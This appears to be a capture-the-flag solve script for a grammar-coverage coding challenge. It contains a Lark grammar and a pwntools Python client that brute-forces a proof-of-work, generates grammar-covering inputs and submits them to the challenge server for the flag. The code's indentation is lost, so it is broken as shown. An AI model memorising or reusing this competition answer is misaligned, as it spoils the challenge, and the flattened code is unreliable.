start: header+ rule+
header: "%" "import" LETTER+ "." LETTER+
| "%" "ignore" LETTER+
rule: start_rule
| name ":" subrule ("|" subrule)*
start_rule: "start:" "statement+"
subrule: part+ "->" "cov_" NUMBER
part: s_letter
| s_word
| s_number
| s_digit
| s_expr
| s_stmt
| string
s_letter: "LETTER"
s_word: "WORD"
s_number: "NUMBER"
s_digit: "DIGIT"
s_expr: "expression"
s_stmt: "statement"
string: ESCAPED_STRING
name: s_expr
| s_stmt这就是个coding题。。
from enum import Enum
from typing import List
import lark
import zlib
import random
import string
from pwn import *
from hashlib import sha256
MIN_COV = 30
class PartType(Enum):
LETTER = 0
WORD = 1
NUMBER = 2
DIGIT = 3
EXPRESSION = 4
STATEMENT = 5
STRING = 6
class Part:
def __init__(self, typ, data = None):
if typ == PartType.STRING and not isinstance(data, str):
raise ValueError
self.typ = typ
self.data = data
def __repr__(self) -> str:
s = str(self.typ)
if self.data is not None:
s += " \"%s\"" % self.data
return s
def complexity(self):
if self.typ == PartType.EXPRESSION:
c = 13.5
elif self.typ == PartType.STATEMENT:
c = 42.73
elif self.typ == PartType.STRING:
c = len(self.data)
else:
c = 1
return float(c)
def expandable(self):
return self.typ == PartType.STATEMENT or self.typ == PartType.EXPRESSION
class Rule:
def __init__(self, parts: List[Part], cov: int):
self.parts = parts
self.cov = cov
def __repr__(self) -> str:
return " ".join(str(x) for x in self.parts) + " -> cov_%d" % self.cov
def complexity(self):
return sum([p.complexity() for p in self.parts])
def expandable(self):
return any(p.expandable() for p in self.parts)
def parse_gram(in_gram):
with open("grammar") as f:
gram = f.read()
parser = lark.Lark(gram)
return parser.parse(in_gram)
def parse_rules(gram):
assert gram.data == "start"
expr_rules = []
stmt_rules = []
for child in gram.children:
if child.data != "rule":
continue
rname = child.children[0]
if rname.data == "start_rule":
continue
rname = rname.children[0].data
if rname == "s_expr":
expr_rules = parse_rule(child.children)
else:
stmt_rules = parse_rule(child.children)
return expr_rules, stmt_rules
def parse_rule(ast):
ans = []
for x in ast:
if x.data != "subrule":
continue
r = parse_subrule(x)
ans.append(r)
return ans
def parse_subrule(ast):
parts = []
for x in ast.children:
if isinstance(x, lark.tree.Tree):
assert len(x.children) == 1
y = x.children[0]
if y.data == "s_expr":
part = Part(PartType.EXPRESSION)
elif y.data == "s_stmt":
part = Part(PartType.STATEMENT)
elif y.data == "s_word":
part = Part(PartType.WORD)
elif y.data == "s_number":
part = Part(PartType.NUMBER)
elif y.data == "s_digit":
part = Part(PartType.DIGIT)
elif y.data == "s_letter":
part = Part(PartType.LETTER)
elif y.data == "string":
data = y.children[0].strip('"')
part = Part(PartType.STRING, data)
else:
raise ValueError(y)
parts.append(part)
cov = int(ast.children[-1])
return Rule(parts, cov)
class Solver:
def __init__(self, expr_rules: List[Rule], stmt_rules: List[Rule]):
self.expr_rules = expr_rules
self.stmt_rules = stmt_rules
self.expr_cov = [False] * len(self.expr_rules)
self.stmt_cov = [False] * len(self.stmt_rules)
self.count = 0
def all_cover(self):
return all(self.expr_cov) and all(self.stmt_cov)
def run(self):
stmt_id = self.get_stmt_id(True)
sol, anum = self.generate(self.stmt_rules[stmt_id], MIN_COV)
#print(sol)
return sol
def get_rule_id(rules, cov, expand):
rid = None
n = len(rules)
for i in range(n):
if expand and not rules[i].expandable():
continue
if not cov[i]:
rid = i
break
if rid is None:
if expand:
rid = random.choice([i for i in range(n) if rules[i].expandable()])
else:
rid = random.choice(range(n))
cov[rid] = True
return rid
def get_stmt_id(self, expand):
return Solver.get_rule_id(self.stmt_rules, self.stmt_cov, expand)
def get_expr_id(self, expand):
return Solver.get_rule_id(self.expr_rules, self.expr_cov, expand)
def generate(self, rule: Rule, cnum: int):
code = ""
anum = 1
#print("gen", cnum, rule)
for part in rule.parts:
if part.typ == PartType.DIGIT or part.typ == PartType.NUMBER:
s = random.choice(string.digits)
elif part.typ == PartType.LETTER or part.typ == PartType.WORD:
s = random.choice(string.ascii_letters)
elif part.typ == PartType.STRING:
s = part.data
elif part.typ == PartType.EXPRESSION:
expr_id = self.get_expr_id(anum + 1 < cnum)
s, _anum = self.generate(self.expr_rules[expr_id], cnum - anum)
anum += _anum
elif part.typ == PartType.STATEMENT:
stmt_id = self.get_stmt_id(anum + 1 < cnum)
s, _anum = self.generate(self.stmt_rules[stmt_id], cnum - anum)
anum += _anum
else:
raise ValueError
#print(s, part)
code += s + " "
#print(anum, cnum)
#print("rule", rule)
assert anum >= cnum
return code, anum
def proof(r):
line = r.recvline().decode().strip()
part = line[line.find("+")+1:line.find(")")]
h = line[line.find("==")+2:].strip()
print(line)
while True:
s = ''.join(random.choice(string.digits+string.ascii_letters) for _ in range(4))
h1 = sha256((s+part).encode()).hexdigest()
if h1 == h:
r.recvuntil("Give")
r.sendline(s)
break
def collect_cov(ast):
cov = 0
if isinstance(ast, lark.tree.Tree):
for ch in ast.children:
cov |= collect_cov(ch)
if ast.data.startswith('cov_'):
num = int(ast.data[4:])
cov |= (1<<num)
return cov
def solve(local):
if local:
r = remote("localhost", 10002)
else:
r = remote("121.5.253.92", 10001)
proof(r)
r.recvuntil("today:")
gram0 = r.recvuntil("EOF", drop=True)
gram0 = gram0.decode()
with open("input", "w") as f:
f.write(gram0)
parser0 = lark.Lark(gram0)
gram = parse_gram(gram0)
expr_rules, stmt_rules = parse_rules(gram)
codes = set()
solver = Solver(expr_rules, stmt_rules)
N = 0x1000
while len(codes) < N:
sol = solver.run()
ast = parser0.parse(sol)
cov = collect_cov(ast)
if bin(cov).count("1") >= 20:
codes.add(sol)
print("len", len(codes))
assert solver.all_cover()
MAXSIZE = 0x200000
code = "|".join(list(codes))
code = zlib.compress(code.encode())
size = len(code)
assert size < MAXSIZE
code = code.hex()
#context.log_level = "debug"
r.recvuntil("size")
r.sendline(str(size))
r.recvuntil("code(hex): ")
r.sendline(code)
flag = r.recvall().decode()
r.close()
return flag
if __name__ == "__main__":
while True:
flag = solve(local=True)
if "fail" not in flag:
print(flag)
break